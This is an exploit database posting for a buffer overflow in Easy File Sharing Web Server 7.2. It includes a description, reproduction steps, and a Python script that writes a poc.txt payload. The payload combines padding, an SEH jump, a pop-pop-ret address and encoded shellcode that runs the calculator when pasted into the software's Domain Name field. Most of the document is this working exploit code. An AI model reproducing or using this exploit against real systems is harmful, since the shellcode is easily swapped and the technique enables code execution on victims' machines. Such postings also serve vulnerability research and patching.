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Easy File Sharing Web Server 7.2 Domain Name Buffer Overflow

Easy File Sharing Web Server 7.2 Domain Name Buffer Overflow
Posted Oct 5, 2018
Authored by ZwX

Easy File Sharing Web Server version 7.2 suffers from a domain name buffer overflow vulnerability.

tags | exploit, web, overflow
MD5 | 0d3cc7fc1bb84f794d1756a2f00f68bd

Easy File Sharing Web Server 7.2 Domain Name Buffer Overflow

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#--------------------------------------------------------#
#Exploit Title: Easy File Sharing Web Server 7.2 - 'Domain Name' Buffer Overflow Exploit
#Exploit Author : ZwX
#Exploit Date: 2018-09-19
#Vendor Homepage : http://www.sharing-file.com/
#Link Software : http://www.sharing-file.com/efssetup.exe
#Tested on OS: Windows 7
#Social: twitter.com/ZwX2a
#contact: msk4@live.fr
#Website: http://zwx-pentester.fr/
#--------------------------------------------------------#

'''
Technical Details & Description:
================================
A local buffer overflow vulnerability has been discovered in the official Easy File Sharing Web Server.
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process.
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system.
The vulnerability is marked as classic buffer overflow issue.


Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

1.Download and install Easy File Sharing Web Server
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Click User Account -> Active Directory -> Add Domain -> Domain Name (Input)"
4.Paste the contents of the file (poc.txt) into the input "Domain Name" and click "OK"
5.Now the calculator executes!
'''

#!/usr/bin/python

from struct import pack

buffer = "\x41" * 4059
a = "\xeb\x06\x90\x90"
b = pack("<I",0x1001b8c0) #0x1001b8c0 : pop esi # pop ebp # ret
calc=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
nops = "\x90" * 20

poc = buffer + a + b + nops + calc
file = open("poc.txt","w")
file.write(poc)
file.close()

print "POC Created by ZwX"

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